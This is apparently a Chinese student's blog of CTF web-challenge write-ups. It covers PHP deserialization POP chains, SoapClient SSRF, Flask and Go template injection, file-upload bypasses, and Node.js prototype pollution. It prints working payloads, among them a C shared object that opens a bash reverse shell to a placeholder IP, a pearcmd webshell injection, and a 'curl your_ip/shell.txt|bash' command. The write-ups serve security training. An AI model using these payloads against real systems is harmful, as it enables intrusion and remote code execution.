实验室暑假集训开始了,每天刷个了2、3、4题吧,学到的知识可能没有直接放在wp中,之后整理出来应该会令发一个
[CISCN2019]Laravel1 开幕indexController直接给了,还给了备份源码,那就直接审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace App \Http \Controllers ;class IndexController extends Controller { public function index (\Illuminate\Http\Request $request ) { $payload =$request ->input("payload" ); if (empty ($payload )){ highlight_file(__FILE__ ); }else { @unserialize($payload ); } } }
因为反序列化之后对实例化的类并没有任何操作,所有只能倚靠原类的会自动执行的魔术方法来执行就比如__destruct
找到可利用的__destruct
:
一些函数如call_user_func|file_get_contents|include
可以触发其他魔术方法比如toString|call|get|set|invoke
直接存在可操作的$fun($args)
,其中函数和参数我们都可以操作
或者实例化了一个类可以触发原生类
……
这里找到了TagAwareAdapter::__destruct
,这里存在$f($items)
直接利用啦
1 2 3 4 5 6 7 8 9 10 11 12 13 if ($this ->deferred) { $items = $this ->deferred; foreach ($items as $key => $item ) { if (!$this ->pool->saveDeferred($item )) { unset ($this ->deferred[$key ]); $ok = false ; } } $f = $this ->getTagsByKey; $tagsByKey = $f ($items ); $this ->deferred = []; }
直接poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php namespace Symfony \Component \Cache \Adapter ;class TagAwareAdapter { private $deferred ; private $getTagsByKey ; public function __construct ( ) { $this ->deferred = 'cat /flag' ; $this ->getTagsByKey = 'system' ; } } $a = new TagAwareAdapter();echo urlencode(serialize($a ));
[MRCTF2020]Ezpop_Revenge SoapClient SSRF 上一个简单的小栗子,(如果报错为未找到SoapClient
类,那么请先到php.ini加上soap的拓展
1 2 3 4 5 6 <?php try { $a = new SoapClient(null , array ('uri' => 'aaa' , 'location' => 'http://vps:5656' )); $a ->function(); } catch (SoapFault $e ) { }
可以清楚地看到数据成功地显示在了我们自己的vps上
可以看一下这个类:
从注释中可以得到location
和uri
是必须设置的
其他的还有soap_version|proxy_host|user_agent|stream_context|keep_alive|ssl_method
等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 * @param array $options [optional] <p> * An array of options. If working in WSDL mode, this parameter is optional. * If working in non-WSDL mode, the location and * uri options must be set, where location * is the URL of the SOAP server to send the request to, and uri * is the target namespace of the SOAP service . * </p > * <p > * The style and use options only work in * non -WSDL mode . In WSDL mode , they come from the WSDL file . * </p > * <p > * The soap_version option should be one of either * <b >SOAP_1_1 </b > or <b >SOAP_1_2 </b > to * select SOAP 1.1 or 1.2, respectively . If omitted , 1.1 is used . * </p > * …… …………
做题 首先弄下源码之后除了index.php之外,还有一个flag.php格外引人注目,并且要求访问来源地址为127.0.0.1
然后将flag放入session
1 2 3 4 5 6 <?php if (!isset ($_SESSION )) session_start();if ($_SERVER ['REMOTE_ADDR' ]==="127.0.0.1" ){ $_SESSION ['flag' ]= "MRCTF{******}" ; }else echo "我扌your problem?\nonly localhost can get flag!" ; ?>
我们可以在usr/plugins/HelloWorld
中发现我们可以利用的主要代码,我们就要发现如果这里通过任意方法请求admin
,那么就会把session输出,而如果我们成功访问flag.php
就可以得到在本页面得到flag了:
1 2 3 4 5 6 7 8 9 10 11 public function action ( ) { if (!isset ($_SESSION )) session_start(); if (isset ($_REQUEST ['admin' ])) var_dump($_SESSION ); if (isset ($_POST ['C0incid3nc3' ])) { if (preg_match("/file|assert|eval|[`\'~^?<>$%]+/i" ,base64_decode($_POST ['C0incid3nc3' ])) === 0 ) unserialize(base64_decode($_POST ['C0incid3nc3' ])); else { echo "Not that easy." ; } } }
那么现在首要的重点是,该怎么进去这个路由
在var/Typecho/Plugin.php
中发现了该插件的路由
1 2 3 4 5 6 public static function activate ($pluginName ) { self ::$_plugins ['activated' ][$pluginName ] = self ::$_tmp ; self ::$_tmp = array (); Helper::addRoute("page_admin_action" ,"/page_admin" ,"HelloWorld_Plugin" ,'action' ); }
那么接下去就是找pop链了
首先可以先去找一下__destruct
,但是发现只有两个类中存在这个魔术方法且没有一点用,所以得找别的路了
然后我们可以发现同个文件下还有一个HelloWorld_DB
类,它存在wakeup
方法,会在反序列化之前自动调用,实例化了Typecho_Db
而且传入的参数是我们可控的,那么就可以先从这个入手
Typecho_Db::__construct
字符连接触发toString
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public function __construct ($adapterName , $prefix = 'typecho_' ) { $this ->_adapterName = $adapterName ; $adapterName = 'Typecho_Db_Adapter_' . $adapterName ; if (!call_user_func(array ($adapterName , 'isAvailable' ))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available" ); } $this ->_prefix = $prefix ; $this ->_pool = array (); $this ->_connectedPool = array (); $this ->_config = array (); $this ->_adapter = new $adapterName (); }
可以发现只有一个可能可以利用的Typecho_Db_Query::__toString
,会根据$this->_sqlPreBuild['action']
的值来执行不同的方法,这里比较简单的就SELECT
对应的$this->_adapter
是一个类,调用了方法,这里可以触发call
方法,再结合前面得到flag的要求,可以想到原生类中SoapClient
的call方法可以实现SSRF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public function __toString ( ) { switch ($this ->_sqlPreBuild['action' ]) { case Typecho_Db::SELECT: return $this ->_adapter->parseSelect($this ->_sqlPreBuild); case Typecho_Db::INSERT: return 'INSERT INTO ' . $this ->_sqlPreBuild['table' ] . '(' . implode(' , ' , array_keys($this ->_sqlPreBuild['rows' ])) . ')' . ' VALUES ' . '(' . implode(' , ' , array_values($this ->_sqlPreBuild['rows' ])) . ')' . $this ->_sqlPreBuild['limit' ]; case Typecho_Db::DELETE: return 'DELETE FROM ' . $this ->_sqlPreBuild['table' ] . $this ->_sqlPreBuild['where' ]; case Typecho_Db::UPDATE: $columns = array (); if (isset ($this ->_sqlPreBuild['rows' ])) { foreach ($this ->_sqlPreBuild['rows' ] as $key => $val ) { $columns [] = "$key = $val " ; } } return 'UPDATE ' . $this ->_sqlPreBuild['table' ] . ' SET ' . implode(' , ' , $columns ) . $this ->_sqlPreBuild['where' ]; default : return NULL ; } }
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php class Typecho_Db_Query { private $_adapter ; private $_sqlPreBuild ; public function __construct ( ) { $this ->_sqlPreBuild['action' ] = 'SELECT' ; $headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: PHPSESSID=oevfk4u8cpvu893e1jhj176n76' ); $this ->_adapter = new SoapClient(null , array ('uri' =>'aaa' ,'location' =>'http://127.0.0.1/flag.php' ,'user_agent' =>'ameuu^^' .join('^^' ,$headers ))); } } class HelloWorld_DB { private $coincidence ; public function __construct ( ) { $this ->coincidence['hello' ] = new Typecho_Db_Query(); $this ->coincidence['world' ] = '' ; } } $a = serialize(new HelloWorld_DB());var_dump($a ); $a = str_ireplace('^^' ,"\r\n" ,$a );$b = preg_replace('/%00/' ,'%5c%30%30' ,urlencode($a ));var_dump(urldecode($b )); $V = 'O:13:"HelloWorld_DB":1:{S:26:"\00HelloWorld_DB\00coincidence";a:2:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:26:"\00Typecho_Db_Query\00_adapter";O:10:"SoapClient":5:{s:3:"uri";s:3:"aaa";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"ameuu X-Forwarded-For: 127.0.0.1 Cookie: PHPSESSID=oevfk4u8cpvu893e1jhj176n76";s:13:"_soap_version";i:1;}S:30:"\00Typecho_Db_Query\00_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}}s:5:"world";s:0:"";}}' ;echo (base64_encode($V ));
[LineCTF2022]gotm
只有一个main.go
,直接来看所有的方法
根目录下!将X-Token
进行jwt解码之后然后进行赋值,而template.New("").Parse("Logged in as " + acc.id)
中存在SSTI注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 func root_handler (w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token" ) if token != "" { id, _ := jwt_decode(token) acc := get_account(id) tpl, err := template.New("" ).Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(w, &acc) } else { return } }
注册功能,传id或者pw进行注册
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 func regist_handler (w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id" ) upw := r.FormValue("pw" ) if uid == "" || upw == "" { return } if get_account(uid).id != "" { w.WriteHeader(http.StatusForbidden) return } if len (acc) > 4 { clear_account() } new_acc := Account{uid, upw, false , secret_key} acc = append (acc, new_acc) p := Resp{true , "" } res, err := json.Marshal(p) if err != nil { } w.Write(res) return }
登录功能,jwt_encode
对登录的账户的id以及是否为admin进行jwt加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 func auth_handler (w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id" ) upw := r.FormValue("pw" ) if uid == "" || upw == "" { return } if len (acc) > 1024 { clear_account() } user_acc := get_account(uid) if user_acc.id != "" && user_acc.pw == upw { token, err := jwt_encode(user_acc.id, user_acc.is_admin) if err != nil { return } p := TokenResp{true , token} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } w.WriteHeader(http.StatusForbidden) return }
根据判断token,如果是admin就直接返回flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 func flag_handler (w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token" ) if token != "" { id, is_admin := jwt_decode(token) if is_admin == true { p := Resp{true , "Hi " + id + ", flag is " + flag} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } else { w.WriteHeader(http.StatusForbidden) return } } }
整体的思路大概都懂了
总的来说就是先注册账号,并在/
目录下ssti注入获取secret_key
,然后伪造jwt获取flag
go ssti
[CSAWQual 2016]i_got_id
perl CGI
perl ARGV文件上传 RCE
CGI https://www.freesion.com/article/35001374751/
ARGV https://www.jianshu.com/p/51f083b802f0
做题 万能的buu直接给了源码,利用CGI文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 use strict;use warnings;use CGI;my $cgi = CGI->new;if ($cgi->upload('file' )) { my $file = $cgi->param('file' ); while (<$file>) { print "$_" ; print "<br />" ; } }
param
https://blog.csdn.net/chizhaji/article/details/113920025:
所以可以上传一个文件,抓包,复制数据包类型将文件名删掉,内容为ARGV
,使得可以获取到get方式所传的值并命令执行(原理还在学
[CISCN2019]Web2 没有源码
注册登录之后可以发表文章,感觉可能存在XSS,可以发现在反馈的地方会让管理员点击链接,那么不就是存在CSRF嘛
但是构造点在哪里呢。仔细想一下,这里我们可以控制的也就只有发表文章了,说明应该是构造文章内容,因为可操作性很大,所以可能可以自行写一个表单,让管理员点击实现管理员登录
那么该写一个什么样的表单才能够实现捏
xss平台注册失败 呜哇
[pasecactf_2019]flask_ssti 1 2 3 4 def encode (line, key, key2 ): return '' .join(chr (x ^ ord (line[x]) ^ ord (key[::-1 ][x]) ^ ord (key2[x])) for x in range (len (line))) app.config['flag' ] = encode('' , 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34' , 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5' )
先打开靶场,发现一开始怎么输入都没有反应,直接post
{{config}}
之后会发现存在flag,其实这里直接用题目已经给的脚本就可以跑出flag了
但是要好好学习!!!!
直接继续SSTI
测试一下可以发现.|_|'
被ban了,单引号被ban没什么关系可以用"
替代,但是.
和_
一般是必然会用到的,不能被替代,.
可以用[]
来代替,而_
可以利用十六进制绕过_|\x5F
1 2 {{""["\x5f\x5fclass\x5f\x5f"]}} "".__class__ {{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclassed\x5f\x5f"]()}} "".__class__.__base__.__subclasses__() 找可利用的包,这里不能用warnings.catch_warnings,在后面找os的时候找不到这里看了别的师傅的wp,师傅直接用的是类os._wrap_close
1 {{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclassed\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat ap*")["read"]()}}}
分析源码,app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import randomfrom flask import Flask, render_template_string, render_template, requestimport osapp = Flask(__name__) app.config['SECRET_KEY' ] = 'folow @osminogka.ann on instagram =)' ''' def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') ''' def encode (line, key, key2 ): return '' .join(chr (x ^ ord (line[x]) ^ ord (key[::-1 ][x]) ^ ord (key2[x])) for x in range (len (line))) file = open ("/app/flag" , "r" ) flag = file.read() app.config['flag' ] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3' , 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT' ) flag = "" os.remove("/app/flag" ) nicknames = ['˜”*°★☆★_%s_★☆★°°*' , '%s ~♡ⓛⓞⓥⓔ♡~' , '%s Вêчңø в øĤлâйĤé' , '♪ ♪ ♪ %s ♪ ♪ ♪ ' , '[♥♥♥%s♥♥♥]' , '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ' , '♔%s♔' , '[♂+♂=♥]%s[♂+♂=♥]' ] @app.route('/' , methods=['GET' , 'POST' ] ) def index (): if request.method == 'POST' : try : p = request.values.get('nickname' ) id = random.randint(0 , len (nicknames) - 1 ) if p != None : if '.' in p or '_' in p or '\'' in p: return 'Your nickname contains restricted characters!' return render_template_string(nicknames[id ] % p) except Exception as e: print (e) return 'Exception' return render_template('index.html' ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=1337 )
重点就是加密的方法了,可以通过{{config}}
得到被加密之后的flag的值
-M7\x10w\x12287\x00qfx\x0eL\x0cnR(D\x1bN\\x17{2\x06h\x02\r\x10\t#P.|\x11l\x10[\x17G
[蓝帽杯 2021]One Pointer PHP user.php
1 2 3 4 5 <?php class User { public $count ; } ?>
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include "user.php" ;if ($user =unserialize($_COOKIE ["data" ])){ $count [++$user ->count]=1 ; if ($count []=1 ){ $user ->count+=1 ; setcookie("data" ,serialize($user )); }else { eval ($_GET ["backdoor" ]); } }else { $user =new User; $user ->count=1 ; setcookie("data" ,serialize($user )); } ?>
0x01:简单的溢出 直接poc:
1 2 3 4 5 6 7 8 9 10 11 <?php class User { public $count ; public function __construct ( ) { $this ->count = 9223372036854775806 ; } } $a = new User();var_dump(urlencode(serialize($a )));
看phpinfo,可以发现很多函数都不能用,并且open_basedir也限制了在/var/www/html
。写一句话用蚁剑链发现几乎什么都做不了,因为插件没弄好没法绕过open_basedir
0x02:困难的FPM未授权RCE FastCGI Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
FastCGI其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
PHP-FPM FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。
FPM按照fastcgi的协议将TCP流解析成真正的数据。
利用 1 2 3 4 5 6 7 8 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system("bash -c 'bash -i >& /dev/tcp/your_IP/2333 0>&1'" ); }
编译成so文件:
1 gcc -fPIC -shared shell.c -o shell.so
并上传到html目录下
在自己的vps上开启一个恶意的ftp服务并创建一个文件用于利用fastcgi访问该ftp服务使得so文件执行成功反弹shell
ftp服务代码以及fastcgi exp都来自Reference,感谢大师傅 我这里就不贴了🥺
开启ftp服务
监听2333端口,在file.php
文件下打payload
但是没有权限,需要提权,SUID
1 find / -perm -u=s -type f 2>/dev/null
我们可以利用php执行,因为php是以root的权限使用的所以是可以获取到flag的内容的,所以只要绕过open_basedir
就好了,之前整理过就直接用了
[HXBCTF 2021]easywill 0x01:简单的链子 一打开靶场就给了一部分源码
1 2 3 4 5 6 7 8 9 <?php namespace home \controller ;class IndexController { public function index ( ) { highlight_file(__FILE__ ); assign($_GET ['name' ],$_GET ['value' ]); return view(); } }
去网络上把willphp2.1.5 下下来了,看这个IndexController
就知道我们现在处于这个位置,然后传两个值然后执行assign
和view
函数,所以该怎么利用就要先去审计一下这两个函数
assign
简单的赋值
1 2 3 public static function assign ($name , $value = NULL ) { if ($name != '' ) self ::$_vars [$name ] = $value ; }
view
实际调用的是fetch
fetch()
这里并没有特别的点,直接看最后一个render
,渲染,一般就会在渲染的时候实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public static function fetch ($file = '' , $vars = [] ) { if (!empty ($vars )) self ::$_vars = array_merge(self ::$_vars , $vars ); define('__THEME__' , C('theme' )); define('VPATH' , (THEME_ON)? PATH_VIEW.'/' .__THEME__ : PATH_VIEW); $path = __MODULE__; if ($file == '' ) { $file = __ACTION__; } elseif (strpos($file , ':' )) { list ($path ,$file ) = explode(':' , $file ); } elseif (strpos($file , '/' )) { $path = '' ; } if ($path == '' ) { $vfile = VPATH.'/' .$file .'.html' ; } else { $path = strtolower($path ); $vfile = VPATH.'/' .$path .'/' .$file .'.html' ; } if (!file_exists($vfile )) { App::halt($file .' 模板文件不存在。' ); } else { define('__RUNTIME__' , App::getRuntime()); array_walk_recursive(self ::$_vars , 'self::_parse_vars' ); \Tple::render($vfile , self ::$_vars ); } }
render
这里会对$_vars
进行操作的也就只有renderTo
,直接跟进renderTo
,可以看到在最后会对_vars
进行extract
直接实现了变量覆盖了说明我们传进去的有name=cfile
,而包含我们想要的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static function render ($vfile , $_vars = [] ) { $shtml_open = C('shtml_open' ); if (!$shtml_open || basename($vfile ) == 'jump.shtml' ) { self ::renderTo($vfile , $_vars ); } else { …… if (is_file($sfile ) && filemtime($sfile ) > ($ntime - $shtml_time )) { include $sfile ; } else { ob_start(); self ::renderTo($vfile , $_vars ); $content = ob_get_contents(); file_put_contents($sfile , $content ); } } } public static function renderTo ($vfile , $_vars = [] ) { $m = strtolower(__MODULE__); $cfile = 'view-' .$m .'_' .basename($vfile ).'.php' ; if (basename($vfile ) == 'jump.html' ) { $cfile = 'view-jump.html.php' ; } $cfile = PATH_VIEWC.'/' .$cfile ; if (APP_DEBUG || !file_exists($cfile ) || filemtime($cfile ) < filemtime($vfile )) { $strs = self ::comp(file_get_contents($vfile ), $_vars ); file_put_contents($cfile , $strs ); } extract($_vars ); include $cfile ; }
0x02:困难的LFI https://blog.csdn.net/rfrder/article/details/121042290
直接用师傅的payload打
1 ?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ameuu.php+-d+man_dir=<?eval($_POST[0]);?>+-s+
1 ?name=cfile&value=/tmp/ameuu.php
phpinfo里面什么都没有ban,直接system就好了
[CISCN2021 Quals]upload upload.php
进行文件上传,会获取图片的大小以及名字来判断是否为图片以及对文件名进行了黑名单过滤
要求图片的width和height都为1可以利用#define width 1
绕过
而文件名的绕过,由于urldecode
是在判断之前用的,所以不能利用url二次编码绕过,但是看imagePath
的时候发现对文件名进行了mb_sretolower
操作,这不就可以利用这个绕过嘛
可以利用unicode İ
因为是拉丁文,直接放上去的话不会识别出来,可以url编码一下%C4%B0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php if (!isset ($_GET ["ctf" ])) { highlight_file(__FILE__ ); die (); } if (isset ($_GET ["ctf" ])) $ctf = $_GET ["ctf" ]; if ($ctf =="upload" ) { if ($_FILES ['postedFile' ]['size' ] > 1024 *512 ) { die ("这么大个的东西你是想d我吗?" ); } $imageinfo = getimagesize($_FILES ['postedFile' ]['tmp_name' ]); if ($imageinfo === FALSE ) { die ("如果不能好好传图片的话就还是不要来打扰我了" ); } if ($imageinfo [0 ] !== 1 && $imageinfo [1 ] !== 1 ) { die ("东西不能方方正正的话就很讨厌" ); } $fileName =urldecode($_FILES ['postedFile' ]['name' ]); if (stristr($fileName ,"c" ) || stristr($fileName ,"i" ) || stristr($fileName ,"h" ) || stristr($fileName ,"ph" )) { die ("有些东西让你传上去的话那可不得了" ); } $imagePath = "image/" . mb_strtolower($fileName ); if (move_uploaded_file($_FILES ["postedFile" ]["tmp_name" ], $imagePath )) { echo "upload success, image at $imagePath " ; } else { die ("传都没有传上去" ); } }
从网上找个脚本制作图片马(也可以利用工具就是了
搭一个文件上传,然后把action修改为http://xxxx/upload.php
,其他信息也要根据源码给的修改,上传!
example.php
中可以对压缩文件进行解压,并且还会将解压后的文件二次渲染放到example/
目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php if (!isset ($_GET ["ctf" ])) { highlight_file(__FILE__ ); die (); } if (isset ($_GET ["ctf" ])) $ctf = $_GET ["ctf" ]; if ($ctf =="poc" ) { $zip = new \ZipArchive(); $name_for_zip = "example/" . $_POST ["file" ]; if (explode("." ,$name_for_zip )[count(explode("." ,$name_for_zip ))-1 ]!=="zip" ) { die ("要不咱们再看看?" ); } if ($zip ->open($name_for_zip ) !== TRUE ) { die ("都不能解压呢" ); } echo "可以解压,我想想存哪里" ; $pos_for_zip = "/tmp/example/" . md5($_SERVER ["REMOTE_ADDR" ]); $zip ->extractTo($pos_for_zip ); $zip ->close(); unlink($name_for_zip ); $files = glob("$pos_for_zip /*" ); foreach ($files as $file ){ if (is_dir($file )) { continue ; } $first = imagecreatefrompng($file ); $size = min(imagesx($first ), imagesy($first )); $second = imagecrop($first , ['x' => 0 , 'y' => 0 , 'width' => $size , 'height' => $size ]); if ($second !== FALSE ) { $final_name = pathinfo($file )["basename" ]; imagepng($second , 'example/' .$final_name ); imagedestroy($second ); } imagedestroy($first ); unlink($file ); } }
直接去example/1.php
下命令执行
1 2 3 ?0=system post: 1=grep -r flag /etc
[羊城杯 2020]EasySer
robots.txt
star1.php
ssrf
1 http://c98e5f92-46db-4b2a-8c70-16dadf67dd4a.node4.buuoj.cn:81/star1.php?path=http://127.0.0.1/ser.php
ser.php
,链子一眼就可以看出来,但是没有入口啊可恶,用arjun爆只有path
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting(0 ); if ( $_SERVER ['REMOTE_ADDR' ] == "127.0.0.1" ) { highlight_file(__FILE__ ); } $flag ='{Trump_:"fake_news!"}' ;class GWHT { public $hero ; public function __construct ( ) { $this ->hero = new Yasuo; } public function __toString ( ) { if (isset ($this ->hero)){ return $this ->hero->hasaki(); }else { return "You don't look very happy" ; } } } class Yongen { public $file ; public $text ; public function __construct ($file ='' ,$text ='' ) { $this -> file = $file ; $this -> text = $text ; } public function hasaki ( ) { $d = '<?php die("nononon");?>' ; $a = $d . $this ->text; @file_put_contents($this -> file,$a ); } } class Yasuo { public function hasaki ( ) { return "I'm the best happy windy man" ; } } ?>
看网上的wp说还存在参数c
,那就直接构造吧,利用base64
绕过exit()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class GWHT { public $hero ; public function __construct ( ) { $this ->hero = new Yongen(); } } class Yongen { public $file ; public $text ; public function __construct ( ) { $this -> file = "php://filter/write=convert.base64-decode/resource=ameuu.php" ; $this -> text = "aaaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==" ; } } var_dump(urlencode(serialize(new GWHT()))); ?>
访问ameuu.php
[网鼎杯 2020 青龙组]notes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 var express = require ('express' );var path = require ('path' );const undefsafe = require ('undefsafe' );const { exec } = require ('child_process' );var app = express();class Notes { constructor ( ) { this .owner = "whoknows" ; this .num = 0 ; this .note_list = {}; } write_note (author, raw_note ) { this .note_list[(this .num++).toString()] = {"author" : author,"raw_note" :raw_note}; } get_note (id ) { var r = {} undefsafe(r, id, undefsafe(this .note_list, id)); return r; } edit_note (id, author, raw ) { undefsafe(this .note_list, id + '.author' , author); undefsafe(this .note_list, id + '.raw_note' , raw); } get_all_notes ( ) { return this .note_list; } remove_note (id ) { delete this .note_list[id]; } } var notes = new Notes();notes.write_note("nobody" , "this is nobody's first note" ); app.set('views' , path.join(__dirname, 'views' )); app.set('view engine' , 'pug' ); app.use(express.json()); app.use(express.urlencoded({ extended : false })); app.use(express.static(path.join(__dirname, 'public' ))); app.get('/' , function (req, res, next ) { res.render('index' , { title : 'Notebook' }); }); app.route('/add_note' ) .get(function (req, res ) { res.render('mess' , {message : 'please use POST to add a note' }); }) .post(function (req, res ) { let author = req.body.author; let raw = req.body.raw; if (author && raw) { notes.write_note(author, raw); res.render('mess' , {message : "add note sucess" }); } else { res.render('mess' , {message : "did not add note" }); } }) app.route('/edit_note' ) .get(function (req, res ) { res.render('mess' , {message : "please use POST to edit a note" }); }) .post(function (req, res ) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess' , {message : "edit note sucess" }); } else { res.render('mess' , {message : "edit note failed" }); } }) app.route('/delete_note' ) .get(function (req, res ) { res.render('mess' , {message : "please use POST to delete a note" }); }) .post(function (req, res ) { let id = req.body.id; if (id) { notes.remove_note(id); res.render('mess' , {message : "delete done" }); } else { res.render('mess' , {message : "delete failed" }); } }) app.route('/notes' ) .get(function (req, res ) { let q = req.query.q; let a_note; if (typeof (q) === "undefined" ) { a_note = notes.get_all_notes(); } else { a_note = notes.get_note(q); } res.render('note' , {list : a_note}); }) app.route('/status' ) .get(function (req, res ) { let commands = { "script-1" : "uptime" , "script-2" : "free -m" }; for (let index in commands) { exec(commands[index], {shell :'/bin/bash' }, (err, stdout, stderr ) => { if (err) { return ; } console .log(`stdout: ${stdout} ` ); }); } res.send('OK' ); res.end(); }) app.use(function (req, res, next ) { res.status(404 ).send('Sorry cant find that!' ); }); app.use(function (err, req, res, next ) { console .error(err.stack); res.status(500 ).send('Something broke!' ); }); const port = 8080 ;app.listen(port, () => console .log(`Example app listening at http://localhost:${port} ` ))
简单审计一下,我们可以在add_note
路由下post增加note,然后可以修改、删除等,然后可以在status
路由下执行命令,那么我们想做的不就是想把commands
数组里面的内容改成我们想执行的命令然后造成任意命令执行嘛
那么我们最终想要污染的点就是在status
了
https://xz.aliyun.com/t/10032#toc-12
说明在edit_note
方法中的undefsafe(this.note_list, id + '.author', author);
可以利用,我们将object进行污染,加上我们想要执行的命令,而commond
作为object的子类就会被污染
直接上payload:(这里因为exec是不会把结果返回出来的,所以直接反弹shell吧
1 2 3 4 5 /edit_note post: id=__proto__&author=curl your_ip/shell.txt|bash&raw=123 /status
vps监听2333端口,成功反弹shell,没有任何阻碍直接拿到flag
[NPUCTF2020]web🐕
一开始是php,一看就能知道,如果可以只要先后执行一下encrypt
和decrypt
就能得到flag了,但是结果是1,显而易见是假的flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting(0 ); include ('config.php' ); define("METHOD" , "aes-128-cbc" ); define("SECRET_KEY" , $key ); define("IV" ,"6666666666666666" ); define("BR" ,'<br>' ); if (!isset ($_GET ['source' ]))header('location:./index.php?source=1' );function aes_encrypt ($iv ,$data ) { echo "--------encrypt---------" .BR; echo 'IV:' .$iv .BR; return base64_encode(openssl_encrypt($data , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv )).BR; } function aes_decrypt ($iv ,$data ) { return openssl_decrypt(base64_decode($data ),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv ) or die ('False' ); } if ($_GET ['method' ]=='encrypt' ){ $iv = IV; $data = $flag ; echo aes_encrypt($iv ,$data ); } else if ($_GET ['method' ]=="decrypt" ) { $iv = @$_POST ['iv' ]; $data = @$_POST ['data' ]; echo aes_decrypt($iv ,$data ); } echo "我摊牌了,就是懒得写前端" .BR;if ($_GET ['source' ]==1 )highlight_file(__FILE__ );?>
直接看Java,本来说是要逆一下,但是直接用IDEA打开就好了
得到字节码数组,直接转一下就好啦(
